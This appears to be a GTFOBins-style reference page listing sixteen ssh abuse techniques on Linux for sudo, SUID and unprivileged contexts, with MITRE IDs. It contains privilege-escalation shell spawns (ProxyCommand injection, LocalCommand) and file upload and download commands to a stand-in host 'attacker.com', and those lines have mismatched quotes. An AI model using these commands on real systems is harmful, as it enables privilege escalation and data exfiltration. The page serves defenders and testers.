GTFO · Tool

ssh

16 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux

ssh user@attacker.com 'cat /path/to/input-file"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/ssh/

download

File DownloadPrivilege EscalationLinux

ssh user@attacker.com 'cat /path/to/input-file"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/ssh/

download

File DownloadLinux

ssh user@attacker.com 'cat /path/to/input-file"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/ssh/

file-read

File ReadPrivilege EscalationLinux

The read file content is corrupted by error prints.

ssh -F /path/to/input-file x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/ssh/

file-read

File ReadPrivilege EscalationLinux

The read file content is corrupted by error prints.

ssh -F /path/to/input-file x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/ssh/

file-read

File ReadLinux

The read file content is corrupted by error prints.

ssh -F /path/to/input-file x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/ssh/

shell

ExecutionPrivilege EscalationLinux

Reconnecting may help bypassing restricted shells.

ssh localhost /bin/sh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/ssh/

shell

ExecutionPrivilege EscalationLinux

Reconnecting may help bypassing restricted shells.

ssh localhost /bin/sh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/ssh/

shell

ExecutionLinux

Reconnecting may help bypassing restricted shells.

ssh localhost /bin/sh

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/ssh/

shell

ExecutionPrivilege EscalationLinux

ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/ssh/

shell

ExecutionLinux

ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/ssh/

shell

ExecutionPrivilege EscalationLinux

Spawn the shell on the client, but still requires a successful remote connection.

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/ssh/

shell

ExecutionLinux

Spawn the shell on the client, but still requires a successful remote connection.

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/ssh/

upload

File UploadPrivilege EscalationLinux

echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/ssh/

upload

File UploadPrivilege EscalationLinux

echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/ssh/

upload

File UploadLinux

echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/ssh/